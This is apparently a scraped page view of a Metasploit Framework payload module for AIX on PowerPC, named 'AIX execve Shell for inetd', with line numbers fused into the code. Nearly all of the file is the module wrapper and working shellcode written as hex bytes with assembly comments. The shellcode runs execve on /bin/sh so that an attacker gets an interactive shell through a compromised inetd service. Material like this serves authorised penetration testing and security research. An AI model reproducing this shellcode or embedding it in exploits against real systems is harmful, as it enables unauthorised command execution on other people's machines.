Path: blob/master/modules/payloads/singles/aix/ppc/shell_interact.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 5678include Msf::Payload::Single9include Msf::Payload::Aix10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'AIX execve Shell for inetd',17'Description' => 'Simply execve /bin/sh (for inetd programs)',18'Author' => 'jduck',19'License' => MSF_LICENSE,20'Platform' => 'aix',21'Arch' => ARCH_PPC,22'PayloadType' => 'cmd_interact',23'Handler' => Msf::Handler::FindShell,24'Session' => Msf::Sessions::CommandShell25)26)27end2829def generate(*args)30super(*args)3132"\x7c\xa5\x2a\x79" + # /* xor. r5,r5,r5 */33"\x40\x82\xff\xfd" + # /* bnel <shellcode> */34"\x7f\xe8\x02\xa6" + # /* mflr r31 */35"\x3b\xff\x01\x20" + # /* cal r31,0x120(r31) */36"\x38\x7f\xff\x08" + # /* cal r3,-248(r31) */37"\x38\x9f\xff\x10" + # /* cal r4,-240(r31) */38"\x90\x7f\xff\x10" + # /* st r3,-240(r31) */39"\x90\xbf\xff\x14" + # /* st r5,-236(r31) */40"\x88\x5f\xff\x0f" + # /* lbz r2,-241(r31) */41"\x98\xbf\xff\x0f" + # /* stb r5,-241(r31) */42"\x4c\xc6\x33\x42" + # /* crorc cr6,cr6,cr6 */43"\x44\xff\xff\x02" + # /* svca */44'/bin/sh' \45"\x05"46end47end484950